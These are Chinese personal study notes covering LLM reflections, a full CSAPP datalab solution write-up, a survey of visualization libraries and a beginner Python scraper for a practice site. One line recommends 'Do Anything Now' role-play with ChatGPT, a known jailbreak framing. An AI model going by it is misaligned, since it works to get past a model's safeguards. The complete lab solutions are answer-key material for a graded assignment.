<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FRtyxpaXb9WG0fBXMpe9m%2Fimage.png?alt=media&amp;token=0cd56d52-3454-4c21-88e2-30b62e8a92b8" alt=""><figcaption></figcaption></figure>

可参考的架构图：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FxbzChzkhwJA4JdVuAmZt%2F7dee7120541eb17dd7644d6439e1a27.jpg?alt=media&amp;token=a01fd35e-5986-4535-9b2e-f3d5b4ae0661" alt=""><figcaption></figcaption></figure>

在度过盲目崇拜的阶段之后，需理性分析一下它存在的问题。以下总结自**吴翰清**在岳麓讲坛上的分享：

> 1.如何在可学资源枯竭的情况下，取得进一步智能上的提升？\
> 2.必然存在更为高效的算法，如何升级现有算法？\
> 3.对于“毁灭人类”这类违反道德的回答，本质上反映的仍是一种人类意志，如何去解决？\
> 4.计算存在数学 & 物理方面上限，如何去逼近？

ChatGPT 以及一系列大模型的接踵而至，笔者认为可以看作是 AI 从弱人工智能 → 强人工智能的转折点，后续会沿着上凸曲线的轨迹发展，直到 AI 的成本从边际走向固定，人人都拥有一个 AI 助手时，AI 的发展将会踏入下一个阶段。机器一定会引领人类发展，社会从数字化、网络化转型智能化。值得注意的是，当 AI 演化成一种个人资产后，要时刻问问自己“自己面对的是真的 AI 吗”，其道理就类似近几年层出不穷的电信诈骗，熟人要求 vx / 银行卡转账，只要有利可图，很多意料不到的情况都会涌现，因此让**安全**意识扎根于心是很有必要的。

#### 对人工神经网络的认知梳理

人工神经网络是仿照人的认知模型（神经元之间的电信号传递）建立起的一种机器学习的方法。其基本依据是：“正确答案”的神经元之间的连接被强化，“错误答案”的神经元之间的连接被弱化。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FOcsNqxS22RsJ3Se9XMRP%2Fe03bda5d415a7d033ec09487bf2acef.jpg?alt=media&amp;token=ece7c405-5c84-4fbf-b8cb-836c49e87d66" alt="" width="375"><figcaption></figcaption></figure>

人工神经网络的 workflow：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FVOTgMpma8rchpPjf1ytI%2F10bfdb4001750a9128735882bb36b67.jpg?alt=media&amp;token=01e11c0f-c5cf-4fdf-b27a-e7352600e34b" alt="" width="375"><figcaption></figcaption></figure>

发展历史：

1. 1958年提出 Rosenablatt 感知器（单层双输入感知器、线性感知器）；
2. 为了解决“不能线性分割的问题”，引入用反向传播算法训练的多层感知器（含有隐含层、采用 S 型激活函数）；

   <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FSIcUXzAAhcAsME0LVXAV%2Fffc30b53097d5376d967fd3e1bd53a7.jpg?alt=media&amp;token=11c82a55-dda5-4211-bba1-4f4cba2f6c24" alt="" width="375"><figcaption></figcaption></figure>
3. 为了“模拟人类的联想功能”，引入循环神经网络（Hopfiled 网络、BAM）。之前的神经网络不具备知识迁移 / 自适应能力，还是学习的深度不够；
4. 神经网络最主要的特征就是具有**从环境中学习**的能力，引入无监督学习算法；
   * 目标：快速学习
   * 场景：动态变化 & 预料之外条件的处理
   * 依据：自组织神经网络（模仿人类大脑，每个感官输入都会映射到大脑皮层的相应区域）
     * Hebbian学习（考察两个神经元的联系，若同时被激活则增加权重，否则减少权重）
     * 竞争学习（“赢者通吃”，Kohonen网络）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FhbEVmq5BWQb7VD6zDgeA%2F92345cbf44db1aa87eb80bacaaefe06.jpg?alt=media&amp;token=75a1ac8e-ca22-4730-9280-8a6256cb5895" alt="" width="563"><figcaption></figcaption></figure>

### 使用、鉴别与评价 AI

为了更好地使用 AI，不妨学习一下吴恩达与 OpenAI 联合推出的 prompt 教学：\
<https://learn.deeplearning.ai/chatgpt-prompt-eng/lesson/1/introduction>。

笔者学习之后，总结写 prompt 的两个 trick：**1.简洁；2.明确。**&#x53E6;外，在使用的时候可根据"Do Anything Now"原则，尝试让 ChatGPT 进行 roleplay，以获得更高质量的回答。也可以尝试分段描述你的要求，降低对 GPT 的推理强度要求，以获得更为准确的回答。

同时推荐阅读顶级华裔科学家陆奇最新的[演讲实录](https://wallstreetcn.com/articles/3687254)，能加深对当今大模型世界的理解。有一句话让笔者受益匪浅：

> 在 20岁，要学会快速学习、快速失败。

体验过各种各样的 AI 后，笔者认为可从以下四个方面去考察 LLM / AI 的质量：

1. 上下文能力 → 多轮对话；
2. 训练量 → 常识 / 逻辑推理 / 支持语言种类；
3. 回答多样性 → 文本 / 图片 / 视频 / **代码**；
4. 安全检查 → 敏感词 / 伦理道德。

学习 *Secutiry implications of ChatGPT* 这份报告后，总结了判断文本是否为 AI 生成的四个角度：

1. 句式过于严谨（转折词、连接词）；
2. 主观意识弱；
3. 提供了过多非必要细节（比如“打开一个搜索引擎，点击搜索栏，输入xxx，点击确认”）；
4. 专业领域推导能力弱（如数学领域）—— 但 gpt-4 的能力肯定能 beat 99% 本科生了。

### 一些 AI 网站分享

1. [ChatGPT](https://chat.openai.com/)；
2. [New Bing](https://www.bing.com/search?form=MY02AE\&OCID=MY02AE\&pl=launch\&q=Bing+AI\&showconv=1)；
3. [Bard](https://bard.google.com/)；
4. [LLM](https://chat.lmsys.org/)；
5. [国内最好用的 LLM](https://chatglm.cn/main/detail)；
6. [AI 工具导航](https://ai.nancheng.fun/)；
7. [看论文神器](https://www.chatpdf.com/)。


# CSAPP —— lab1 datalab

### 准备工作

1. 阅读 README && bits.c 中的要求；
2. &#x20;`./dlc -e bits.c` 用来检测代码是否合规；&#x20;
3. `make btest` 用来编译，而后键入 `./btest` 测试所写代码的正确性；
4. &#x20;`./ishow || ./fshow` 可查看对应数字的十六进制表示；&#x20;
5. 对 op 的作用理解：
   * !：逻辑判断，是否为 0&#x20;
   * \~：二进制补码转换
   * &#x20;&、|：构造特定位上的 0 / 1&#x20;
   * <<、>>：二进制乘除

### WriteUp

1. bitAnd 根据离散数学的知识，对 x & y 取反再取反，得到 \~(\~x | \~y)。
2. getByte 要得到什么？某一字节的数据。那么如何处理其它字节的数据 —— &0 / ^self，方便起见这里采用 &0 的方式。因为所有的数据在底层都是一串 01，所以要想进行乘除，可以采用 shift。做法：将特定字节右移到最低位字节，再 &0xff。
3. logicalShift 正数直接右移没问题，主要处理一下负数右移产生的多余的 1（算术右移，空位补符号位导致），采用 & 的方式将其转变成 0。
4. bitCount 在不允许使用 looping && control statement 的情况下，完全没思路。参考别人的想法——二分法，分组判断有几个 1，最后累加求解。
5. bang 这题比较 tricky，用到的性质 self | self's complement = full 1（即 -1），所以除了 0 以外（0 | 0 = 0），其它所有的值最终都转变为 -1，求解结果再 +1，实现非 0 值 → 0、0 → 1，bang！
6. tmin 根据补码的二进制计算公式，1 << 31 顺理成章。
7. fitsBits 两个点。第一点，如何在 Legal ops: ! \~ & ^ | + << >> 的情况下实现减去某个数（假设为 n），答案是：\~n + 1；第二点：怎么证明用 n bits 可以表示某个数？!(x ^ ((x << shift) >> shift))。能不能先右移再左移？肯定是不行的，因为右移数据会失真，原位上如果有 1，那么通过左移的方式就会变成 0，导致无法匹配。算法错误 → 结果错误。
8. divpwr2 对于正数，向下取整 no problem。对于负数，为了向 0 看齐，得加上一个偏移量，使得自身低 n 位为偶数。奇妙之处就在于，自己 + 自己 = 偶数（对低 n 位而言），因为奇 + 奇 = 偶，偶 + 偶 = 偶。
9. negate 根据反码的计算公式，\~x + 1 水到渠成。
10. isPositive 首先得非负，所以判断其最高位。其次不为 0，逻辑判断 !! 就派上用场了。
11. isLessOrEqual 考虑到 overflow 的情况，因此分情况讨论。当 x 与 y 同号，判断二者差的符号位；当 x 与 y 异号，判断 x 的符号位。表达式为：((!same) & x\_sign) | (same & !(diff\_sign)) ，对于结果为 0 / 1 的情况，可以参考此种手法，实现选择性返回。
12. ilog2 目标：返回最高位 1 所在位数。借鉴 bitCount 思路，采用二分法，分组查询累加。
13. float\_neg tip：从此题开始，可以用各式各样的 op && condition control && looping。若 NaN 返回 argument，否则返回 -argument。NaN 的判断依据是 exp == full 1 && frac ！= 0。可以通过先将 argument 左移一位，去除符号位的影响，再通过 if 判断。
14. float\_i2f 将 int → float，逐步求 sign、exp、frac 即可。注意对有进位的情况进行修正。
15. float\_twice 基本思路同 float\_i2f。注意讨论 exp 全0、全1、非全0全1，三种情况下，应该对 frac / exp 做怎样的处理。

### Code

```cpp
/* 
 * bitAnd - x&y using only ~ and | 
 *   Example: bitAnd(6, 5) = 4
 *   Legal ops: ~ |
 *   Max ops: 8
 *   Rating: 1
 */
int bitAnd(int x, int y) {
    /* To achieve "x & y" expression */
    
    return ~(~x | ~y);
}
/* 
 * getByte - Extract byte n from word x
 *   Bytes numbered from 0 (LSB) to 3 (MSB)
 *   Examples: getByte(0x12345678,1) = 0x56
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 6
 *   Rating: 2
 */
int getByte(int x, int n) {
   /*
    *  All number is 0 | 1 in nature 
    *  so if you wanna mutiplie, consider shift
    *  First, deal parameter 'n', make it * 8
    *  then shift 'x', last clear
    */

    return (x >> (n << 3)) & 0xFF;
}
/* 
 * logicalShift - shift x to the right by n, using a logical shift
 *   Can assume that 0 <= n <= 31
 *   Examples: logicalShift(0x87654321,4) = 0x08765432
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 20
 *   Rating: 3 
 */
int logicalShift(int x, int n) {
    /* Deal negative number high bit 1 */
    
    int recover = (1 << 31) >> n << 1;
    return ((x >> n) & ~recover);
}
/*
 * bitCount - returns count of number of 1's in word
 *   Examples: bitCount(5) = 2, bitCount(7) = 3
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 40
 *   Rating: 4
 */
int bitCount(int x) {
    int count;
    int tpMask1 = 0x55 | (0x55 << 8);
    int mask1 = tpMask1 | (tpMask1 << 16);  //01010101
    
    int tpMask2 = 0x33 | (0x33 << 8);
    int mask2 = tpMask2 | (tpMask2 << 16);  //00110011 

    int tpMask3 = 0x0f | (0x0f << 8);
    int mask3 = tpMask3 | (tpMask3 << 16);  //00001111 

    int mask4 = 0xff | (0xff << 16);        //00000000 11111111 
    int mask5 = 0xff | (0xff << 8);         //00000000 00000000 11111111 11111111
    count = (x & mask1) + ((x>>1) & mask1); 
    count = (count & mask2) + ((count >> 2) & mask2);  //每4位一组，先计算低位的两位，右移2位后再计算高位两位
    count = (count + (count >> 4)) & mask3;  //每8位一组
    count = (count + (count >> 8)) & mask4;  //每16位一组
    count = (count + (count >> 16)) & mask5;  //总共32位为一组，将前16位的结果与后16位的结果相加即得最终答案
    return count;
}
/* 
 * bang - Compute !x without using !
 *   Examples: bang(3) = 0, bang(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4 
 */
int bang(int x) {
    /* Self | self own complement get full 1 and then shift sign bit */
    
    int complement = ~x + 1;
    return ((x | complement) >> 31) + 1; 
}
/* 
 * tmin - return minimum two's complement integer 
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void) {
    /* According to the two's complement computation rule */

    return (1 << 31);
}
/* 
 * fitsBits - return 1 if x can be represented as an 
 *  n-bit, two's complement integer.
 *   1 <= n <= 32
 *   Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 2
 */
int fitsBits(int x, int n) {
    /* 
     * Judge how many bits we need to represent this num 
     * Which means using shift operation doesn't change value
     * First expand to higher bit and move back
     * Meanwhile, ~n + 1 == -n (two's complement)
     */

     int shift = 32 + (~n + 1);
     return !(x ^ ((x << shift) >> shift)); 
}
/* 
 * divpwr2 - Compute x/(2^n), for 0 <= n <= 30
 *  Round toward zero
 *   Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 2
 */
int divpwr2(int x, int n) {
    /* Check and then shift, negative low n bit add themself */
    
    int mask = ~((1 << 31) >> 31 << n); /* 00001111 */
    int b = (x >> 31) & mask; /* self += self must be even  */ 
    return (x + b) >> n;
}

/* 
 * negate - return -x 
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x) {
    return ~x + 1;
}
/* 
 * isPositive - return 1 if x > 0, return 0 otherwise 
 *   Example: isPositive(-1) = 0.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 8
 *   Rating: 3
 */
int isPositive(int x) {
    /* Judge from highest bit & 0? */
    
    int sign = x >> 31;
    int is_not_zero = !!x;
    return (is_not_zero & !sign);
}
/* 
 * isLessOrEqual - if x <= y  then return 1, else return 0 
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 24
 *   Rating: 3
 */
int isLessOrEqual(int x, int y) {
    /* Use substraction, and then observe signed bit */
    
    int difference = y + (~x) + 1; 
    int x_sign = x >> 31; 
    int y_sign = y >> 31;  
    int same = !(x_sign ^ y_sign); 
    int diff_sign = difference >> 31; 
    return ((!same) & x_sign) | (same & !(diff_sign));  
}

/*
 * ilog2 - return floor(log base 2 of x), where x > 0
 *   Example: ilog2(16) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 90
 *   Rating: 4
 */
int ilog2(int x) {
    /* Dichotomy to find the highest one */
 
    int count = 0;
    count = !!(x >> 16) << 4;
    count += !!(x >> (count + 8)) << 3;
    count += !!(x >> (count + 4)) << 2;
    count += !!(x >> (count + 2)) << 1;
    count += !!(x >> (count + 1));
    
    return count;  
}
/* 
 * float_neg - Return bit-level equivalent of expression -f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representations of
 *   single-precision floating point values.
 *   When argument is NaN, return argument.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 10
 *   Rating: 2
 */
unsigned float_neg(unsigned uf) {
    /* Whether a NaN */
  
    if (((0xFF000000 & (uf << 1)) == 0xFF000000) /* exp == 11111111 */
          && (uf << 1) != 0xFF000000)            /* frac != 0 */
       return uf;
    else return uf ^ 0x80000000;
}

/* 
 * float_i2f - Return bit-level equivalent of expression (float) x
 *   Result is returned as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point values.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned float_i2f(int x) {
    /* int -> float, sign + exp + frac */

    /* special cases */
    if (x == 0x80000000) return 0xcf000000;
    if (x == 0) return 0;
    
    /* sign */
    unsigned sign = (x >> 31) << 31;
    
    /* exp */
    int abs_x = x; 
    /* get abs x */
    if (abs_x < 0) abs_x = -x; 

    int tmp = abs_x;
    int highest_bit = 0;
    while (tmp) {
        highest_bit++;
        tmp >>= 1;
    }
    int weight = highest_bit - 1;

    unsigned exp = (127 + weight) << 23;

    /* frac */
    unsigned frac, frac_cut;
    if (weight > 23) {
        frac = (abs_x >> (weight - 23)) & 0x7fffff;
        frac_cut = (abs_x << (31 - weight)) & 0xff;
        /* carry */
        if ((frac_cut > 0x80) || (frac_cut == 0x80 && (frac & 1))) {
            frac++;
        }
    } else frac = (abs_x << (23 - weight)) & 0x7fffff;

    return sign + exp + frac;
}
/* 
 * float_twice - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned float_twice(unsigned uf) {
    /* sign + exp + frac */
    /* sign */
    unsigned sign = (uf >> 31) << 31;

    /* exp & frac */
    unsigned exp = uf & 0x7f800000;
    unsigned frac = uf & 0x7fffff;

    /* Deal with different situations */
    if (exp == 0x7f800000) return uf;
    else {
        if (exp == 0) frac <<= 1;
        else exp += 0x800000;
    }

    return sign + exp + frac;
}
```


# 可视化入门学习

### 前言

可视化是指用于创建图形、图像或动画，以便交流沟通讯息的任何技术和方法。翻译成人话，即用图表 / 图形来代替文本描述。可视化的重点在于**清晰**地表述**观点**。那么该如何入门可视化呢？师父有言，**“先去调研，看看目前的可视化组件能做到什么程度”**&#x505A;事前先调研，既可以对该领域有一个大致的认知，又可以避免重复造轮子，为日后能在该领域做出一些独特的贡献打下基石。

### 调研

**1. 调研方法论**

* 调研对象

  | 组件名        | 地址                                                        |
  | ---------- | --------------------------------------------------------- |
  | Antv       | <https://antv.vision/en>                                  |
  | Vue        | <https://vue.mtruning.club/#/project/items>               |
  | Echarts    | <https://echarts.apache.org/en/index.html>                |
  | Highcharts | <https://www.highcharts.com/> / <https://www.hcharts.cn/> |
  | D3         | <https://d3js.org/>                                       |
  | Ploty      | <https://plotly.com/dash/design-kit/>                     |
  | Sugar BI   | <https://cloud.baidu.com/product/sugar.html?track=zhihu>  |
* 如何弄出一套适用的评定算法 / 方法论？
  * 先以某个成熟的大型组件为测试样例，逐一测试以下量化标准，一方面观察该组件是否符合标准，符合标准到一个什么程度；另一方面反过来思考这样的标准是否有意义，可以对标准进行一个适当地增删
  * 对标准进行合并整理，提出可量化的方法论
* 量化标准：

  > 特色（最重要且最需要关注的地方）
  >
  > 交互模式（在线还是离线；CS / BS / APP)
  >
  > 组件暴露的API是否有详细且规范的输入输出描述？（关注二次开发有无可能）
  >
  > 组件通用功能是否完善？有无约束和限制？动态效果怎么样？大数据渲染性能怎么样？
  >
  > 组件是否有人持续更新与维护？社区活跃度怎么样？（遇到问题是否容易解决）
  >
  > 是否有可以直接运行或者借鉴的 demo？（直接体现出效果）
  >
  > 是否支持离线（内网使用）？
* 评定组件的方法：
  * 体验官网的各个模块 + 本地安装尝试 + 看用户生态 / 用户评价 + 探索离线部署方式
    * 关注离线场景下的组件部署，可尝试以下方法：rancher（K8s的一个应用，底层依赖 docker 镜像）、`docker + Nexus + Gitlab`、第三方云原生交付平台（阿里云、ThingJS）
  * 行研报告 （调查不仅针对组件本身，同时也可以观察组件背后的开发者）

**2. 调研示例**

* ECharts（侧重于图表）

  | 特色                                                           | 交互               | 使用                                                                                               | API            | 活跃度                                                                  | 不足                          |
  | ------------------------------------------------------------ | ---------------- | ------------------------------------------------------------------------------------------------ | -------------- | -------------------------------------------------------------------- | --------------------------- |
  | <p>1.图表样式齐全，颜色鲜明、对比度高<br>2.支持 Canvas 与 SVG，网页实时渲染效果好，延迟低</p> | BS / 作为库文件引入前端文件 | <p>1.对于提供的图表样式，可直接在线修改数据从而快速获得图表，或下载其源码进行二次开发；<br>2.可在线定制下载 echarts 模块，使其作为 js 库文件引入前端开发直接使用</p> | 有很细致且规范的输入输出描述 | <p>Stackoverflow 相关问答很多<br>其 github 项目主体稳定且有人负责维护与更新<br>用户体验反馈较好</p> | 对于 3D图形 / 数据量较大的渲染，网页响应效果不佳 |

作为库文件引入使用示例：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FXdsqfaVRA4BVR1rdxB7i%2Fimage.png?alt=media&amp;token=8f98b067-fd37-409b-86ba-c6d0c3874e4c" alt="" width="563"><figcaption></figcaption></figure>

在线修改 demo 使用示例：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FLnkGxeeS7u6aRyVjQoAF%2Fimage.png?alt=media&amp;token=caf8b488-afbb-4159-a2d1-142217ce3b87" alt="" width="563"><figcaption></figcaption></figure>

Echarts离线部署方案：

1. 官网定制下载插件代码，再使用U盘 / 光盘拷贝至目的主机；<br>

   <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fs8iIS3vP8C6CGEdYgKd1%2Fimage.png?alt=media&amp;token=318fa3ed-7bff-4938-acd4-44a0271210a7" alt=""><figcaption></figcaption></figure>
2. 从 github 上拉取源码后，使用 cnpm 安装相应依赖。依靠 npm 可以提供内网服务，也可以引用 `/echarts/dist` 中的 js 文件进行二次开发。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FyDDBvZQa9kEcIUCltDIY%2Fimage.png?alt=media&amp;token=fcec5d87-c0e8-4e88-944f-cc7736a237b5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FmDIJxZfwFCrbBwAj5dcd%2Fimage.png?alt=media&amp;token=68cfef49-03e5-4d41-8cd6-dd2dd114626a" alt="" width="411"><figcaption></figcaption></figure>

**3. 调研结论**

* 现有可视化组件类别：
  * 图表开发。例：Echarts、Highcharts、Chart.js、react-vis、ApexCharts
  * 图形开发。例：Antv、D3.js、billboard.js
  * 低代码开发，实现所见即所得。例：Sugar BI、react-big-screen、vue-big-screen
  * 模块开发，专注于某一类图表 / 图形。例：Deck.gl
* 现有可视化组件功能总结：
  1. 在线修改 demo 代码，将图表导出使用；
  2. 作为库文件引入前端 IDE，进行二次开发。
* 调研思考：
  * 现有可视化组件涵盖了基本所需的图表类型，demo 多而全。因此对于简单的开发情景，采用“拿来主义“，使用 Echarts，Antv/g2，甚至使用 Sugar BI，都能满足要求。\
    但如果要面对的是高度定制化的图表开发需求，那么 D3.js / Antv 几乎是唯一的出路。因为它们是面向**图形**开发的可视化组件，自由度高。但相应的这一类组件几乎都有自身的图形交互语法，学习曲线比较陡峭，不适用于敏捷开发。

​未来具有**竞争力**的开发组件应该具备以下特点：

| 特点       | 原因                                                     |
| -------- | ------------------------------------------------------ |
| 面向图形开发   | <p>1. 图表开发需要涵盖大量的 demo，才能具有竞争力，成本高<br>2. 可以实现定制化开发</p> |
| 专注于某一模块  | 开发功能齐全的组件，对于个人开发者是不现实的，同时组件功能也难以达到行业顶尖水平               |
| 适配移动端    | 现有可视化组件的痛点之一是无法在移动端实现流畅地访问。现有的可视化组件即便能够访问，页面适配也做得极其糟糕  |
| 多人实时开发共享 | 类似腾讯文档的在线文档功能，现有可视化组件中尚未有组件实现这一功能，这可能是一个突破口            |

#### 结语

1. **观点**是可视化的灵魂；
2. 如何向一个毫无前置知识的人，清晰地阐述一个观点，是可视化的**艺术；**
3. 留心观察生活中的点滴，思考这些东西向我传递了什么观点，是以一种什么样的形式？了解别人能做什么，然后去做别人没做到的事；
4. 在研究的开始阶段，**假设**拥有完美的前置条件，往往有利于研究的开展。


# Python 爬虫入门学习

### 前言

由于实验室项目需要大量的文本信息作为数据支撑，因此需要一种自动化获取信息的工具，**爬虫**（ 用程序在互联网上获取特定信息的一种手段）就进入了我的学习课程。爬虫需要一门编程语言作为基础，而**Python** 有着强大的第三方库，能为爬虫提供极大的便利，因此我选择 Python 这门编程语言作为爬虫的基础。

### 学习路线

1. **文档**：[Python Tutorial官方文档](https://docs.python.org/3/tutorial/appetite.html) —> [崔庆才《Python3网络爬虫开发实战》](https://cuiqingcai.com/17777.html)
2. **课程**：[B站Python入门课程天花板](https://www.bilibili.com/video/BV12E411A7ZQ?spm_id_from=333.1007.top_right_bar_window_view_later.content.click\&vd_source=68401e073d6cf69f6f72f1ad56c67eaf)

### 爬虫全过程分析：

#### **爬虫思路**

由于目的是为了在互联网上获取特定的信息，因此需要以下解决几个问题：

> 1. 目标资源在互联网的哪一个位置；
> 2. 目标资源在前端（互联网的具体页面）是如何体现的；
> 3. 锁定目标资源后，如何获取相关数据；
> 4. 如何存储有关数据。

#### **解决方案**：

对应上述每一点问题，提供对应解决方法。

> 1. 进入到目标资源所在的页面后，查看浏览器的地址栏，将地址栏中的内容复制即可。\
>    **补充**：地址栏中的内容为统一资源定位符（Uniform Resource Locator, URL），是因特网上标准的资源的地址。好比你现在要去拜访一个人，那么URL就是这个人的家庭地址，你可以根据URL找到你要拜访的那个人。URL的一般形式是：*协议 + 服务器 + 相对文件路径 + 文件名*，例子：`https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md`，`https`为访问协议，`github.com`为服务器`20.205.243.166`对应解析的域名(域名与服务器是一一对应的，二者转换是通过DNS服务器完成的)，`ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main`是文件相对于服务器根目录的相对路径，README-zh\_CN.md为资源的文件名。
> 2. `F12` / `Fn + F12`打开开发者工具，点击左上角的小箭头（目的是为了使用检查元素功能），此时在页面中点击想获取的资源，便会自动定位到资源对应的前端代码，观察前端代码为下一步进行数据提取做好准备（参考 Fig.1）。         &#x20;
> 3. 定位好前端代码后，紧接着是使用正则表达式进行数据获取。**正则表达式（regular expression, re）** 是一种字符串匹配模式，可以用来判定一个字符串中是否含有某种子串、进行字符串替换或者取出字符串中符合某个条件的子串等，详细内容可参考[菜鸟教程：正则表达式](https://www.runoob.com/regexp/regexp-syntax.html)。为了找出相应资源的前端代码，首先要使用 re.compile() 方法规定出相应资源的“模样”，其次再用这种“模样”去匹配前端代码。这就像相亲，你先在心目中构建一个对伴侣的期待，然后在海一般的相亲市场中根据你的期待去匹配心仪的相亲对象。此时你的期待就是“模样”，相亲市场就是网页中所有的前端代码，现在要做的就是在所有的前端代码中找出你想要的“模样”代码，也就是我们想要的资源（即下文所称的数据）。
> 4. 使用正则表达式成功匹配数据之后，可以使用python自带的**json模块**，把数据以.json形式存储到本地。当然也可以引入像**MySQL / sqlite**之类的数据库，使用SQL（Structured Query Language）语言，把数据以.db形式存储到本地

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FlM4NQwJtXfohgt2iH9rq%2Fimage.png?alt=media&amp;token=38299d02-4da8-417e-9235-e47cbf0500ca" alt=""><figcaption><p>Fig.1</p></figcaption></figure>

#### **样例分析**：

以下代码为爬取`https://ssr1.scrape.center`所有电影信息的样例代码。

```
					 # 引入各个模块的作用说明
import requests  			 # 访问URL的工具
import logging   			 # 以日志形式进行结果输出
import re	     		         # 引入正则表达式
from urllib.parse import urljoin         # 实现URL的拼接
import json            			 # 存储数据
from os import makedirs 		 # 创建用来存储数据的文件夹
from os.path import exists		 # 判断文件夹是否存在，辅助文件夹的创建
import multiprocessing			 # 多线程爬取，加快爬取速度 

logging.basicConfig(level=logging.INFO,	
                    format='%(asctime)s-%(levelname)s:%(message)s') # 设置日志输出模式
BASE_URL = 'https://ssr1.scrape.center'				    # 设置基本URL
TOTAL_PAGE = 10														# 目标网站共十页
RESULTS_DIR = 'results'											    # 创建名为results的文件夹 
exists(RESULTS_DIR) or makedirs(RESULTS_DIR)

# 功能：返回对应URL的前端代码
# 参数：URL
# 返回值类型：string
def scrape_page(url):
    logging.info('scraping %s...', url)
    try: 
        response = requests.get(url)    # 对目标URL进行访问
        if response.status_code == 200: # 对状态码进行判断，如果返回状态码200说明连接正常
            return response.text
        logging.error('get invalid status code %s while scraping %s', 
                      response.staus_code, url)
    except requests.RequestException:   # 对错误的堆栈信息进行追踪
        logging.error('error occurred while scraping %s', url,
                      exc_info=True)

# 功能：返回对应URL的前端代码
# 参数：网站当前页数
# 返回值类型：string
def scrape_index(page):
    index_url = f'{BASE_URL}/page/{page}' # 'f'参数使得变量可以填充字符串
    return scrape_page(index_url)

# 功能：获取每部电影对应的URL
# 参数：网页的前端代码
# 返回值类型：string
def parse_index(html):
    pattern = re.compile('<a.*?href="(.*?)".*?class="name">') # 用re构造出每部电影对应href的匹配模式
    items = re.findall(pattern, html)                         # 在前端代码中查找与pattern相匹配的代码
    if not items:
        return []
    for item in items:
        detail_url = urljoin(BASE_URL, item) # 观察每部电影URL可知，URL = 基本URL + items
        logging.info('get detail url %s', detail_url)
        yield detail_url                     # 关键字yield的机制是，暂停当前运行进程、输出当前结果并保存状态

# 此函数作用同scrape_page()完全相同
# 构造此函数的目的：为日后进行爬取拓展提供接口
def scrape_detail(url): 
    return scrape_page(url)
    
# 功能：定位目标资源的前端代码，而后返回相应的数据
# 参数：对应每部电影的前端代码
# 返回值类型：dictionary
def parse_detail(html):
    # 分别对电影的封面、名称、分类、发行时间、评分、概要设置相应的re匹配规则
    cover_pattern = re.compile('class="item.*?<img.*?src="(.*?)".*?class="cover">', re.S) # Make '.' match all characters
    name_pattern = re.compile('<h2.*?>(.*?)</h2>')
    categories_pattern = re.compile('<button.*?category.*?<span>(.*?)</span>.*?</button>', re.S)
    published_at_pattern = re.compile('(\d{4}-\d{2}-\d{2})\s上映') # As for time, use standard (\d{4}-\d{2}-\d{2})
    score_pattern = re.compile('<p.*?score.*?>(.*?)</p>', re.S)
    drama_pattern = re.compile('<div.*?drama.*?>.*?<p.*?>(.*?)</p>', re.S)
    
